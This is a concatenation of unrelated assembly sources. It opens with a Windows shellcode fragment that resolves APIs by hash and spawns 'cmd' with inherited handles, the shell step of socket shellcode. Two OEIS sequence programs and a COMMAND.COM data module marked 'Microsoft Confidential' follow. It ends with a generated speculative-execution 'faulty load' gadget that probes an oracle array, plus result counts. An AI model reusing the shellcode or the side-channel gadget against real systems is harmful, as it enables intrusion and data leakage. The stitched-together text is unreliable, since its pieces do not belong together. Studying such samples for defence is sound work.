; ECX = pointer of STARTUPINFOA struct
; EDX = 0x00000100
; ESI = address of create_startupinfoa
; EDI = addr of find_function
create_cmd_string:
push 'd' ; push "d\\0"
push word 0x6D63 ; push "cm"
push esp ; get pointer to string
pop edx ; EDX = ptr to "cmd\\0"
; EAX = 0
; EBX = baseaddr of ws2_32.dll
; ECX = pointer of STARTUPINFOA struct
; EDX = pointer of "cmd\\0"
; ESI = address of create_startupinfoa
; EDI = addr of find_function
call_createprocessa:
push esp ; push lpProcessInformation. We don't care if the stack is polluted at this stage. It doesn't affect the next call.
; otherwise do "lea ebx, [esp-390]; push ebx"
push ecx ; push lpStartupInfo
push eax ; push lpCurrentDirectory
push eax ; push lpEnvironment
push eax ; push dwCreationFlags
push 1 ; push bInheritHandles (0x01 (TRUE))
push eax ; push lpThreadAttributes
push eax ; push lpProcessAttributes
push edx ; push lpCommandLine
push eax ; push lpApplicationName
push 0x16b3fe72 ; CreateProcess
mov ebx, [ebp-8] ; EBX = baseaddr of kernel32
call edi ; call find_function
; EAX = 1
; EBX = baseaddr of kernel32.dll
; ECX = junk
; EDX = 0
; ESI = address of call_exitprocess
; EDI = addr of find_function
call_exitprocess:
; expects uExitCode, but we don't care so we use whatever on stack
push 0x73e2d87e ; "ExitProcess" hash
; push 0x60e0ceef ; "ExitThread" hash
call edi ; call find_function
|
; A212247: Number of (w,x,y,z) with all terms in {1,...,n} and 3w=x+y+z+n.
; 0,1,4,13,29,56,95,150,222,315,430,571,739,938,1169,1436,1740,2085,2472,2905,3385,3916,4499,5138,5834,6591,7410,8295,9247,10270,11365,12536,13784,15113,16524,18021,19605,21280,23047,24910,26870,28931
mov $19,$0
mov $21,$0
lpb $21,1
clr $0,19
mov $0,$19
sub $21,1
sub $0,$21
mov $16,$0
mov $18,$0
lpb $18,1
clr $0,16
mov $0,$16
sub $18,1
sub $0,$18
mov $13,$0
mov $15,$0
lpb $15,1
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11,1
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mov $5,$0
lpb $0,1
mov $1,6
mov $3,$0
sub $0,1
add $8,$0
lpe
mul $1,$5
mul $3,$5
add $5,$3
add $5,3
mov $2,$5
add $2,$1
pow $7,$8
add $1,$7
add $1,$2
div $1,4
mul $1,3
add $1,$2
trn $7,5
mov $12,$11
lpb $12,1
mov $10,$1
sub $12,1
lpe
lpe
lpb $9,1
mov $9,0
sub $10,$1
lpe
mov $1,$10
sub $1,16
add $14,$1
lpe
add $17,$14
lpe
add $20,$17
lpe
mov $1,$20
|
page ,132
title COMMAND Resident DATA
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
;
; Revision History
; ================
; M003 SR 07/16/90 Added LoadHiFlg for LoadHigh support
;
; M004 SR 07/17/90 Transient is now moved to its final
; location at EndInit time by allocating
; the largest available block, moving
; the transient to the top of the block
; and then freeing up the block.
;
; M027 SR 9/20/90 Fixed bug #2827. EndInit was using
; INIT seg variables after INIT seg
; had been freed.
;
; M036 SR 11/1/90 Free up environment segment passed
; by Exec always.
;
; t-richj 5-20-92 Removed LoadHiFlg
.xlist
.xcref
include dossym.inc
include pdb.inc
include syscall.inc
include comsw.asm
include comseg.asm
include resmsg.equ
include comequ.asm
.list
.cref
; Equates for initialization (from COMEQU)
;
; Bugbug: Toss these after putting ctrl-c handler in init module.
INITINIT equ 01h ; initialization in progress
INITSPECIAL equ 02h ; in initialization time/date routine
INITCTRLC equ 04h ; already in ^C handler
CODERES segment public byte
extrn Ext_Exec:near
extrn MsgRetriever:far
extrn TRemCheck:near
;SR;
; The stack has no right to be in the code segment. Moved it to DATARES
;
; bugbug: Why this odd stack size? And what should stack size be?
;; db (80h - 3) dup (?)
;;RStack label word
;; public RStack
CODERES ends
INIT segment
extrn ConProc:near
extrn AllocedEnv:byte
extrn UsedEnv:word
extrn OldEnv:word
extrn EnvSiz:word
extrn TrnSize:word ; M004
INIT ends
TAIL segment
extrn TranStart :word
TAIL ends
TRANCODE segment public byte
extrn Command:near
TRANCODE ends
TRANSPACE segment
extrn TranSpaceEnd :byte
TRANSPACE ends
;SR;
; All the routines below are entry points into the stub from the transient.
;The stub will then transfer control to the appropriate routines in the
;resident code segment, wherever it is present.
;
DATARES segment
extrn Exec_Trap :near
extrn RemCheck_Trap :near
extrn MsgRetrv_Trap :near
extrn HeadFix_Trap :near
extrn Issue_Exec_Call :near
DATARES ends
DATARES segment public byte
assume cs:DATARES
Org 0
ZERO = $
;; Org 100h
;;ProgStart:
;; jmp RESGROUP:ConProc
public Abort_Char
public Append_Flag
public Append_State
public BadFatSubst
public Batch
public Batch_Abort
public BlkDevErrRw
public BlkDevErrSubst
public Call_Batch_Flag
public Call_Flag
public CDevAt
public CharDevErrSubst
public CharDevErrRw
public Com_Fcb1
public Com_Fcb2
public Com_Ptr
public ComDrv
public ComSpec
public ComSpec_End
public Crit_Err_Info
public Crit_Msg_Off
public Crit_Msg_Seg
public CritMsgPtrs
public DataResEnd
public Dbcs_Vector_Addr
public DevName
public DrvLet
public EchoFlag
public EnvirSeg
public ErrCd_24
public ErrType
public Exec_block
public ExecErrSubst
public Extcom
public ExtMsgEnd
public Fail_Char
public fFail
public ForFlag
public ForPtr
public FUCase_Addr
public Handle01
public IfFlag
public Ignore_Char
public In_Batch
public InitFlag
public InPipePtr
public Int_2e_Ret
public Int2fHandler
public Io_Save
public LenMsgOrPathBuf
public Loading
public LTpa
public MemSiz
public MsgBuffer
public MsgPtrLists
public MySeg
public MySeg1
public MySeg2
public MySeg3
public NeedVol
public NeedVolSubst
public Nest
public Next_Batch
public No_Char
public NullFlag
public NUMEXTMSGS
public NUMPARSMSGS
public OldErrNo
public OldTerm
public OutPipePtr
public Parent
public ParsMsgPtrs
public PermCom
public SemiPermCom
public Pipe1
;;; public Pipe1T
public Pipe2
;;; public Pipe2T
public PipeFiles
public PipeFlag
public PipePtr
public PipeStr
public PutBackComSpec
public PutBackDrv
public PutBackSubst
public RDirChar
public Re_Out_App
public Re_OutStr
public ResMsgEnd
public Res_Tpa
public RestDir
public ResTest
public RetCode
public Retry_Char
public RSwitChar
public SafePathBuffer ; MSKK01 07/14/89
public Save_Pdb
public SingleCom
public Sum
public Suppress
public Trans
public TranVarEnd
public TranVars
public TrnSeg
public TrnMvFlg
public VerVal
public VolName
public VolSer
public Yes_Char
public ResSize
public RStack
public OldDS
; public LoadHiFlg ;For LoadHigh support ; M003
extrn LodCom_Trap:near
extrn Alloc_error:near
ifdef ROMDOS
include command.loc
ifdef COMMAND_LO
; COMMAND image is in extended address space.
; Global Descriptor Table (GDT) for use with int 15h block move
Int15GDT db 10h dup (0) ; reserved zero
gdtSrcLen dw COMMAND_SIZ ; src segment length
gdtSrcLo dw COMMAND_LO ; low 16 bits of src address
gdtSrcHi db COMMAND_HI ; high 8 bits of src address
db 93h ; access rights byte
db 2 dup (0) ; reserved zero
gdtDstLen dw COMMAND_SIZ ; dst segment length
gdtDstLo dw ? ; low 16 bits of dst address
gdtDstHi db ? ; high 8 bits of dst address
db 93h ; access rights byte
db 12h dup (0) ; reserved zero
public Int15GDT,gdtSrcLen,gdtSrcLo,gdtSrcHi
public gdtDstLen,gdtDstLo,gdtDstHi
endif
endif ; ROMDOS
;*** Message substitution blocks
BlkDevErrSubst label byte
BlkDevErrRw subst <STRING,> ; "reading" or "writing"
subst <CHAR,DATARES:DrvLet> ; block device drive letter
DrvLet db 'A' ; drive letter
CharDevErrSubst label byte
CharDevErrRw subst <STRING,> ; "reading" or "writing"
CharDevErrDev subst <STRING,DATARES:DevName> ; character device name
DevName db 8 dup (?),0 ; device name, asciiz
NeedVolSubst label byte
subst <STRING,DATARES:VolName> ; volume name
subst <HEX,DATARES:VolSer+2> ; hi word of serial #
subst <HEX,DATARES:VolSer> ; lo word of serial #
; NOTE: VolName and VolSer must be adjacent
VolName db 11 dup (?),0 ; volume name
VolSer dd 0 ; volume serial #
CDevAt db ?
BadFatSubst label byte
subst <CHAR,DATARES:DrvLet> ; drive letter
PutBackSubst label byte
PutBackComSpec subst <STRING,> ; comspec string
subst <CHAR,DATARES:PutBackDrv> ; drive to put it in
PutBackDrv db ' ' ; drive letter
ExecErrSubst subst <STRING,DATARES:SafePathBuffer>
NeedVol dd ? ; ptr to volume name from get ext err
ErrType db ? ; critical error message style, 0=old, 1=new
Int_2e_Ret dd ? ; magic command executer return address
Save_Pdb dw ?
Parent dw ?
OldTerm dd ?
ErrCd_24 dw ?
Handle01 dw ?
Loading db 0
Batch dw 0 ; assume no batch mode initially
;;;;SR;
;;;; This flag has been added for a gross hack introduced in batch processing.
;;;;We use it to indicate that this batch file has no CR-LF before EOF and that
;;;;we need to fake the CR-LF for the line to be properly processed
;;;;
;;;BatchEOF db 0
; Bugbug: ComSpec should be 64+3+12+1?
; What's this comspec_end about?
ComSpec db 64 dup (0)
ComSpec_End dw ?
Trans label dword
dw TRANGROUP:Command
TrnSeg dw ?
TrnMvFlg db 0 ; set if transient portion has been moved
In_Batch db 0 ; set if we are in batch processing mode
Batch_Abort db 0 ; set if user wants to abort from batch mode
ComDrv db ? ; drive spec to load autoexec and command
MemSiz dw ?
Sum dw ?
ExtCom db 1 ; for init, pretend just did an external
RetCode dw ?
Crit_Err_Info db ? ; hold critical error flags for r,i,f
; The echo flag needs to be pushed and popped around pipes and batch files.
; We implement this as a bit queue that is shr/shl for push and pop.
EchoFlag db 00000001b ; low bit true => echo commands
Suppress db 1 ; used for echo, 1=echo line
Io_Save dw ?
RestDir db 0
PermCom db 0 ; true => permanent command
SemiPermCom dw -1 ; true => semi-permanent command (/K)
SingleCom dw 0 ; true => single command version
VerVal dw -1
fFail db 0 ; true => fail all int 24s
IfFlag db 0 ; true => IF statement in progress
ForFlag db 0 ; true => FOR statement in progress
ForPtr dw 0
Nest dw 0 ; nested batch file counter
Call_Flag db 0 ; no CALL (batch command) in progress
Call_Batch_Flag db 0
Next_Batch dw 0 ; address of next batch segment
NullFlag db 0 ; flag if no command on command line
FUCase_Addr db 5 dup (0) ; buffer for file ucase address
; Bugbug: don't need crit_msg_ anymore?
Crit_Msg_Off dw 0 ; saved critical error message offset
Crit_Msg_Seg dw 0 ; saved critical error message segment
Dbcs_Vector_Addr dw 0 ; DBCS vector offset
dw 0 ; DBCS vector segment
Append_State dw 0 ; current state of append
; (if Append_Flag is set)
Append_Flag db 0 ; set if append state is valid
Re_Out_App db 0
Re_OutStr db 64+3+13 dup (?)
; We flag the state of COMMAND in order to correctly handle the ^Cs at
; various times. Here is the breakdown:
;
; INITINIT We are in the init code.
; INITSPECIAL We are in the date/time prompt
; INITCTRLC We are handling a ^C already.
;
; If we get a ^C in the initialization but not in the date/time prompt, we
; ignore the ^C. This is so the system calls work on nested commands.
;
; If we are in the date/time prompt at initialization, we stuff the user's
; input buffer with a CR to pretend an empty response.
;
; If we are already handling a ^C, we set the carry bit and return to the user
; (ourselves). We can then detect the carry set and properly retry the
; operation.
InitFlag db INITINIT
; Note: these two bytes are referenced as a word
PipeFlag db 0
PipeFiles db 0
;--- 2.x data for piping
;
; All the "_" are substituted later, the one before the : is substituted
; by the current drive, and the others by the CreateTemp call with the
; unique file name. Note that the first 0 is the first char of the pipe
; name. -MU
;
;--- Order-dependent, do not change
;;;Pipe1 db "_:/"
;;;Pipe1T db 0
;;; db "_______.___",0
;;;Pipe2 db "_:/"
;;;Pipe2T db 0
;;; db "_______.___",0
;SR
; Pipe1 & Pipe2 now need to store full-fledged pathnames
;
; Bugbug: can we find any way around maintaining these
; large buffers?
Pipe1 db 67+12 dup (?)
Pipe2 db 67+12 dup (?)
PipePtr dw ?
PipeStr db 129 dup (?)
EndPipe label byte ; marks end of buffers; M004
;SR;
; We can move our EndInit code into above buffers. This way, the code will
;automatically be discarded after init.
;
; M004; We overlap our code with the Pipe buffers located above by changing
; M004; the origin.
;
ORG Pipe1 ; M004
; Bugbug: really need a procedure header for EndInit, describing
; what it expects, what it does.
Public EndInit
EndInit:
push ds
push es ;save segments
push cs
pop ds
assume ds:RESGROUP
;
; M004; Save size of transient here before INIT segment is deallocated
;
mov dx,TrnSize ; M004
;M027
; These variables are also defined in the INIT segment and need to be saved
;before we resize
;
mov ax,OldEnv ; Old Environment seg ;M027
mov bx,EnvSiz ; Size of new environment ;M027
mov cx,UsedEnv ; Size of old environment ;M027
push ax ; Save all these values ;M027
push bx ; M027
push cx ; M027
; Bugbug: push ds, pop es here.
mov bx,ds
mov es,bx ;es = RESGROUP
;
;ResSize is the actual size to be retained -- only data for HIMEM COMMAND,
; code + data for low COMMAND
;
mov bx,ResSize ;Total size of resident
mov ah,SETBLOCK
int 21h ;Set block to resident size
;
;We check if this is for autoexec.bat (PermCom = 1). If so, we then
;allocate a new batch segment, copy the old one into new batchseg and free
;the old batchseg. Remember that the old batchseg was allocated on top of the
;transient and we will leave a big hole if TSRs are loaded by autoexec.bat
;
; Bugbug: also describe why we alloc & copy batch seg BEFORE environment.
cmp PermCom,1 ;permanent command.com?
jne adjust_env ;no, do not free batchseg
cmp Batch,0 ;was there a valid batchseg?
je adjust_env ;no, dont juggle
mov bx,((SIZE BatchSegment) + 15 + 1 + 0fh)/16 ;batchseg size
mov ah,ALLOC
int 21h
; Bugbug: I just had a thought. If DOS or SHARE or somebody leaves
; a hole, the batch segment COULD already be in the ideal place. We
; could be making it worse! We're second-guessing where memory
; allocations go, which might not be such a great idea. Is there
; a strategy, short of doing something even worse like diddling
; arena headers, where we can minimize the possibility of fragmentation
; under all cases? Hmm..
jc adjust_env ;no memory, use old batchseg
mov es,ax ;es = New batch segment
xor di,di
xor si,si
push ds
mov ds,Batch ;ds = Old Batch Segment
assume ds:nothing
mov cx,SIZE BatchSegment
add cx,16 ;for the filename
; Bugbug: 16? Shouldn't this be a common equate or something?
; It's sure be bad if we copied more bytes than the batch segment
; holds!
cld
rep movsb
pop ds
assume ds:RESGROUP
mov cx,es ;save new batch segment
mov es,Batch
mov ah,DEALLOC
int 21h ;free the old batch segment
; Bugbug: should we check for error?
mov Batch,cx ;store new batch segment address
adjust_env:
pop cx ;cx = size of old env ;M027
pop bx ;bx = size of new env needed ;M027
pop bp ;bp = old env seg ;M027
;
;Allocate the correct size for the environment
;
mov ah,ALLOC
int 21h ;get memory
jc nomem_err ;out of memory,signal error
; Bugbug: why not continue, leaving environment where it is?
mov EnvirSeg,ax ;Store new environment segment
mov ds:PDB_Environ,ax ;Put new env seg in PSP
mov es,ax ;es = address of allocated memory
assume es:nothing
;
;Copy the environment to the newly allocated segment
;
push ds
mov ds,bp ;ds = Old environment segment
assume ds:nothing
xor si,si
mov di,si ;Start transfer from 0
cld
rep movsb ;Do the copy
pop ds ;ds = RESGROUP
assume ds:RESGROUP
;
; We have to free the old environment block if it was allocated by INIT
;
; Bugbug: is this only for the case when we were NOT passed an environment,
; or does it also apply to passed environments?
;
;M036
; Free up old env segment always because this is a copy passed by Exec and
; takes up memory that is never used
;
;M044
; Go back to the old strategy of not freeing the environment. Freeing it leaves
; a hole behind that Ventura does not like. Basically, Ventura gives strange
; errors if it gets a memory alloc that it is below its load segment. The
; freed environment creates a large enough hole for some of its allocs to fit
; in
;
cmp AllocedEnv,0 ;has env been allocated by INIT?
je no_free ;no, do not free it
mov es,bp
mov ah,DEALLOC
int 21h ;Free it
no_free:
;
; M004; Start of changes
;
;
; Move the transient now. We will allocate the biggest block available
; now and move the transient to the top of the block. We will then
; deallocate this block. When the resident starts executing, it will
; hopefully allocate this block again and find the transient intact.
;
MOV TrnMvFlg, 1 ; Indicate that transient has been moved
push es
mov si,offset ResGroup:TranStart
mov di,0
mov cx,offset TranGroup:TranSpaceEnd ;size to move
;
; Find the largest block available
;
mov bx,0ffffh
mov ah,ALLOC
int 21h
;
; dx = size of transient saved previously
;
cmp bx,dx ;enough memory?
jb nomem_err ;not enough memory for transient
mov ah,ALLOC
int 21h ;get the largest block
jc nomem_err ;something is really screwed up
push ax ;save memory address
add ax,bx ;ax = top of my memory block
sub ax,dx ;less size of transient
mov TrnSeg,ax ;save transient segment
mov es,ax ;
pop ax ;restore our seg addr
;
; Everything is set for a move. We need to move in the reverse direction to
; make sure we dont overwrite ourselves while copying
;
add si,cx
dec si
add di,cx
dec di
std
rep movsb
cld
;
; Now we have to free up this block so that resident can get hold of it
;
mov es,ax
mov ah,DEALLOC
int 21h ;release the memory block
;
; M004; End of changes
;
mov InitFlag,FALSE ;indicate INIT is done
pop es
pop ds
; Bugbug: did we need to save & restore seg reg's during EndInit?
assume ds:nothing
jmp LodCom_Trap ;allocate transient
nomem_err:
;
;We call the error routine which will never return. It will either exit
;with an error ( if not the first COMMAND ) or just hang after an error
;message ( if first COMMAND )
;
jmp Alloc_error
public EndCodeInit ; M004
EndCodeInit label byte ; M004
;
; M004; Check if the EndInit code will fit into the Pipe buffers above.
; M004; If not, we signal an assembly error
;
IF2
IF ($ GT EndPipe)
.err
%out "ENDINIT CODE TOO BIG"
ENDIF
ENDIF
;
; M004; Set the origin back to what it was at the end of the buffers
;
ORG EndPipe ; M004
InPipePtr dw offset DATARES:Pipe1
OutPipePtr dw offset DATARES:Pipe2
Exec_Block label byte ; the data block for exec calls
EnvirSeg dw ?
Com_Ptr label dword
dw 80h ; point at unformatted parameters
dw ?
Com_Fcb1 label dword
dw 5Ch
dw ?
Com_Fcb2 label dword
dw 6Ch
dw ?
; variables passed to transient
TranVars label byte
dw offset DATARES:HeadFix_Trap
MySeg dw 0 ; put our own segment here
LTpa dw 0 ; will store tpa segment here
RSwitChar db "/"
RDirChar db "\"
dw offset DATARES:Issue_Exec_Call
MySeg1 dw ?
dw offset DATARES:RemCheck_Trap
MySeg2 dw 0
ResTest dw 0
Res_Tpa dw 0 ; original tpa (not rounded to 64k)
TranVarEnd label byte
OldErrNo dw ?
;* NOTE: MsgBuffer and SafePathBuffer use the same
; memory. MsgBuffer is only used while a command
; is being executed. SafePathBuffer is no longer
; needed, since it is used for unsuccessful program
; launches.
MsgBuffer label byte ; buffer for messages from disk
SafePathBuffer label byte ; resident pathname for EXEC
; Bugbug: Why so big a buffer?
db 64+3+13 dup (0) ; path + 'd:\' 'file.ext' + null
LenMsgOrPathBuf equ $ - MsgBuffer
Int2fHandler dd ? ; address of next int 2f handler
ResMsgEnd dw 0 ; holds offset of msg end (end of resident)
;SR;
; The three vars below have been added for a pure COMMAND.COM
;
ResSize dw ?
;SR;
; Moved the stack here from the code segment
;
; bugbug: Why this odd stack size? And what should stack size be?
db (80h - 3) dup (?)
RStack label word
OldDS dw ? ;keeps old ds value when jumping to
;resident code segments
;LoadHiFlg db 0 ;Flag set to 1 if UMB loading enabled ; M003
ifdef BETA3WARN
%out Take this out before we ship
public Beta3Warned
Beta3Warned db 0
endif
;
; -----------------------------------------------------------------------------
;
include highvar.inc ;Add variables for 6.0 loadhigh functionality
;
; -----------------------------------------------------------------------------
;
;*** MESSAGES
; and other translatable text
include comrmsg.inc ;M00
DATARES ends
end
|
; A059302: A diagonal of A008296.
; -1,-1,5,25,70,154,294,510,825,1265,1859,2639,3640,4900,6460,8364,10659,13395,16625,20405,24794,29854,35650,42250,49725,58149,67599,78155,89900,102920,117304,133144,150535,169575,190365,213009,237614,264290,293150,324310,357889,394009,432795,474375,518880,566444,617204,671300,728875,790075,855049,923949,996930,1074150,1155770,1241954,1332869,1428685,1529575,1635715,1747284,1864464,1987440,2116400,2251535,2393039,2541109,2695945,2857750,3026730,3203094,3387054,3578825,3778625,3986675,4203199,4428424,4662580,4905900,5158620,5420979,5693219,5975585,6268325,6571690,6885934,7211314,7548090,7896525,8256885,8629439,9014459,9412220,9823000,10247080,10684744,11136279,11601975,12082125,12577025,13086974,13612274,14153230,14710150,15283345,15873129,16479819,17103735,17745200,18404540,19082084,19778164,20493115,21227275,21980985,22754589,23548434,24362870,25198250,26054930,26933269,27833629,28756375,29701875,30670500,31662624,32678624,33718880,34783775,35873695,36989029,38130169,39297510,40491450,41712390,42960734,44236889,45541265,46874275,48236335,49627864,51049284,52501020,53983500,55497155,57042419,58619729,60229525,61872250,63548350,65258274,67002474,68781405,70595525,72445295,74331179,76253644,78213160,80210200,82245240,84318759,86431239,88583165,90775025,93007310,95280514,97595134,99951670,102350625,104792505,107277819,109807079,112380800,114999500,117663700,120373924,123130699,125934555,128786025,131685645,134633954,137631494,140678810,143776450,146924965,150124909,153376839,156681315,160038900,163450160,166915664,170435984,174011695,177643375,181331605,185076969,188880054,192741450,196661750,200641550,204681449,208782049,212943955,217167775,221454120,225803604,230216844,234694460,239237075,243845315,248519809,253261189,258070090,262947150,267893010,272908314,277993709,283149845,288377375,293676955,299049244,304494904,310014600,315609000,321278775,327024599,332847149,338747105,344725150,350781970,356918254,363134694,369431985,375810825,382271915,388815959,395443664,402155740,408952900,415835860,422805339,429862059,437006745,444240125,451562930,458975894,466479754,474075250,481763125,489544125
sub $0,1
mov $1,1
mov $2,$0
add $2,2
mov $3,$2
sub $2,1
mov $0,$2
sub $3,2
lpb $0,1
add $1,$3
add $2,$0
sub $0,1
add $3,$2
lpe
mul $1,2
sub $1,14
div $1,2
add $1,5
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xe3f6, %rsi
nop
lfence
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
cmp $44329, %rsi
lea addresses_WT_ht+0xecc6, %rsi
nop
nop
nop
cmp %r8, %r8
mov $0x6162636465666768, %r14
movq %r14, (%rsi)
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_A_ht+0xe0f6, %r10
nop
nop
xor %r9, %r9
mov $0x6162636465666768, %r12
movq %r12, %xmm1
and $0xffffffffffffffc0, %r10
vmovntdq %ymm1, (%r10)
nop
nop
nop
xor $63940, %r12
lea addresses_normal_ht+0x1e37a, %r9
nop
nop
nop
add $34545, %r8
movl $0x61626364, (%r9)
cmp $49661, %rsi
lea addresses_WT_ht+0x9cda, %rsi
lea addresses_A_ht+0x12096, %rdi
clflush (%rsi)
clflush (%rdi)
cmp %r12, %r12
mov $56, %rcx
rep movsl
sub %rdi, %rdi
lea addresses_normal_ht+0x406a, %rsi
lea addresses_A_ht+0xd8f6, %rdi
nop
nop
and %r10, %r10
mov $39, %rcx
rep movsw
nop
dec %r9
lea addresses_WT_ht+0x18bee, %rsi
lea addresses_normal_ht+0xf1b4, %rdi
nop
nop
nop
nop
add $1019, %r9
mov $123, %rcx
rep movsw
add %rdi, %rdi
lea addresses_UC_ht+0x15836, %rsi
lea addresses_D_ht+0xacf6, %rdi
and %r10, %r10
mov $120, %rcx
rep movsl
nop
nop
nop
nop
xor $4673, %rsi
lea addresses_normal_ht+0xffb6, %r12
nop
nop
nop
and %rcx, %rcx
vmovups (%r12), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r14
nop
nop
nop
cmp %r8, %r8
lea addresses_WT_ht+0x4551, %rsi
nop
nop
sub $18053, %r9
movw $0x6162, (%rsi)
sub $43249, %rdi
lea addresses_UC_ht+0x206a, %r9
nop
nop
xor $13477, %r10
mov (%r9), %r8w
nop
nop
and %r14, %r14
lea addresses_A_ht+0x1ce76, %rsi
lea addresses_D_ht+0x1c847, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
inc %r10
mov $92, %rcx
rep movsw
nop
nop
nop
nop
nop
add %r9, %r9
lea addresses_WT_ht+0x7a20, %rcx
nop
nop
nop
nop
nop
sub $50929, %rsi
movw $0x6162, (%rcx)
nop
nop
and %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %r8
push %r9
push %rax
push %rcx
// Load
lea addresses_RW+0x1542, %r14
nop
add $21696, %r15
mov (%r14), %ecx
add $16543, %r9
// Store
lea addresses_PSE+0x14cbe, %rax
inc %r8
movl $0x51525354, (%rax)
nop
nop
nop
add $28718, %rcx
// Store
mov $0x6ce, %r14
nop
nop
nop
nop
nop
and %r9, %r9
mov $0x5152535455565758, %r15
movq %r15, %xmm2
vmovups %ymm2, (%r14)
nop
nop
nop
dec %r11
// Store
lea addresses_A+0x978e, %r15
nop
nop
nop
nop
nop
cmp $555, %r14
mov $0x5152535455565758, %r11
movq %r11, (%r15)
nop
nop
xor %r8, %r8
// Store
mov $0x7883e00000005e6, %r15
inc %r9
movl $0x51525354, (%r15)
nop
nop
nop
nop
add %r8, %r8
// Store
lea addresses_A+0x3ef6, %r9
nop
cmp $17550, %rax
movw $0x5152, (%r9)
nop
inc %r11
// Faulty Load
lea addresses_WT+0x1a4f6, %rcx
and %r8, %r8
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r9
lea oracles, %r14
and $0xff, %r9
shlq $12, %r9
mov (%r14,%r9,1), %r9
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'68': 77, '47': 5119, 'ff': 1, '67': 315, '00': 16151, '49': 130, '45': 12, '44': 21, '1a': 3}
00 00 47 00 00 00 00 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 00 47 47 00 00 00 00 00 47 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 00 67 00 00 00 00 47 00 00 00 00 00 00 00 47 00 47 00 47 47 47 47 47 47 00 00 00 47 47 00 00 00 47 00 00 00 00 00 00 00 00 47 00 47 00 67 00 00 00 47 00 47 00 00 47 00 00 00 00 00 00 00 00 00 00 47 00 00 00 47 47 47 00 00 00 47 00 00 00 00 00 47 00 00 00 00 00 00 00 00 47 00 47 00 00 00 00 67 00 00 00 00 00 00 00 00 00 00 00 00 47 00 00 47 00 47 00 00 00 00 00 00 47 47 00 00 00 00 00 00 00 00 00 47 47 00 00 00 00 47 47 00 47 47 00 00 00 47 00 00 47 00 00 47 47 00 47 00 00 00 00 47 00 47 00 00 00 47 47 00 00 49 00 47 00 00 67 00 00 00 00 00 00 49 00 00 47 47 00 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 00 47 00 47 00 67 00 47 47 00 00 00 00 00 47 00 47 00 47 00 47 47 47 00 00 47 00 00 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 67 47 00 00 47 00 47 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 00 47 00 00 00 